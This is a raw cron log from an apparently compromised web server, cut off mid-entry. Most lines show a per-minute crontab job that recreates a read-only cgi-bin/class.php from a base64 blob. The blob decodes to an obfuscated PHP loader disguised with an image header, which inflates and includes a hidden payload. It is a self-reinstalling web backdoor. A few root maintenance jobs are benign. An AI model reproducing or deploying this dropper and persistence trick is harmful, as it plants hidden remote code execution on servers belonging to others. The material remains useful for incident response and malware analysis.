Nov 12 05:35:01 server CROND[19137]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:36:01 server CROND[20021]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:37:01 server CROND[20836]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:38:01 server CROND[21662]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:39:01 server CROND[22486]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 05:39:01 server CROND[22487]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:40:01 server CROND[23407]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 05:40:01 server CROND[23408]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:40:01 server CROND[23410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 05:40:01 server CROND[23409]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 05:41:01 server CROND[24352]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:42:01 server CROND[24999]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:42:01 server CROND[25000]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 05:43:01 server CROND[25735]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:44:01 server CROND[26051]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:45:01 server CROND[26639]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 05:45:01 server CROND[26641]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:45:01 server CROND[26642]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 05:46:01 server CROND[27563]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:47:01 server CROND[28385]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:48:01 server CROND[29185]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 